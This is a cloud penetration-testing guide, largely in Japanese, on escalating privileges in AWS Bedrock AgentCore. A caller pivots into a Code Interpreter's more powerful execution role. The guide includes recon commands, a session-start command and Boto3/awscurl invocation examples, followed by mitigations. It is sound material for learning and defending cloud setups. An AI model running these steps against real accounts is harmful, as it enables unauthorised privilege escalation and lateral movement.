# AWS - Bedrock PrivEsc

{{#include ../../../../banners/hacktricks-training.md}}

## Amazon Bedrock AgentCore

### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot

AgentCore Code Interpreter はマネージドされた実行環境です。**Custom Code Interpreters** は、コードインタプリタが AWS サービスにアクセスするための権限を提供する **`executionRoleArn`** を設定できます。

もし権限の低い**IAM プリンシパル**が、より高権限の **execution role** で構成された Code Interpreter セッションを**開始・呼び出し**できる場合、呼び出し元は実質的にその execution role の権限に**ピボット（アクセス移動）**することができます（ロールの範囲によっては横移動／権限昇格となります）。

> [!NOTE]
> これは通常、**ミスコンフィギュレーション／過剰な権限付与**の問題です（インタプリタの execution role に広範な権限を与えたり、呼び出し権限を広く付与したりする場合）。  
> AWS は、execution role に付与する権限を、呼び出しを許可された識別子の権限と同等かそれ以下にすることで、権限昇格を回避するよう明示的に警告しています。

#### 前提条件（一般的なミスコンフィグ）

- **custom code interpreter** が、過剰な権限を持つ **execution role** として存在する（例: 機密性の高い S3/Secrets/SSM へのアクセス、または IAM 管理者に類する権限）。
- ユーザ（developer／auditor／CI の識別子）が以下の権限を持っている：
  - セッションを開始する: `bedrock-agentcore:StartCodeInterpreterSession`
  - ツールを呼び出す: `bedrock-agentcore:InvokeCodeInterpreter`
- （オプション）ユーザがインタプリタを作成できる: `bedrock-agentcore:CreateCodeInterpreter`（組織のガードレールによっては、execution role を設定した新しいインタプリタを作成できる）。

#### Recon (identify custom interpreters and execution role usage)

インタプリタを一覧（control-plane）し、その設定を確認します：
```bash
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
````
> create-code-interpreter コマンドは `--execution-role-arn` をサポートしており、インタプリタに付与される AWS の権限を定義します。

#### Step 1 - セッションを開始する（これは `sessionId` を返し、対話型シェルではありません）
```bash
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)

echo "SessionId: $SESSION_ID"
```
#### ステップ2 - コード実行を呼び出す (Boto3 または 署名付き HTTPS)

`start-code-interpreter-session` からは **対話型の python シェルはありません**。実行は **InvokeCodeInterpreter** 経由で行われます。

**Option A - Boto3 の例 (Python を実行 + アイデンティティを検証):**
```python
import boto3

client = boto3.client("bedrock-agentcore", region_name="<REGION>")

# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)

# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
```
インタプリタが実行ロールで設定されている場合、`sts:GetCallerIdentity()` の出力はそのロールのアイデンティティ（低権限の呼び出し元ではなく）を反映し、pivot を示します。

**Option B - 署名付き HTTPS コール (awscurl):**
```bash
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
```
#### 影響

* **Lateral movement** — インタープリタの実行ロールが持つ AWS アクセス先へ横移動される可能性がある。
* **Privilege escalation** — インタープリタの実行ロールが呼び出し元より高い権限を持つ場合に特権昇格が発生する可能性がある。
* 検出が困難になる場合がある — CloudTrail data events がインタープリタの呼び出しに対して有効になっていないと、（設定によっては）呼び出しがデフォルトでログに記録されないことがある。

#### Mitigations / Hardening

* **Least privilege** をインタープリタの `executionRoleArn` に適用する（Lambda execution roles / CI roles と同様に扱う）。
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) とセッションを開始できるユーザを制限する。
* 承認された agent runtime roles を除き InvokeCodeInterpreter を拒否するために **SCPs** を使用する（組織レベルでの強制が必要になる場合がある）。
* 適切な **CloudTrail data events** を AgentCore に対して有効にし、予期しない invocations やセッション作成に対してアラートを設定する。

## References

- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)


{{#include ../../../../banners/hacktricks-training.md}}
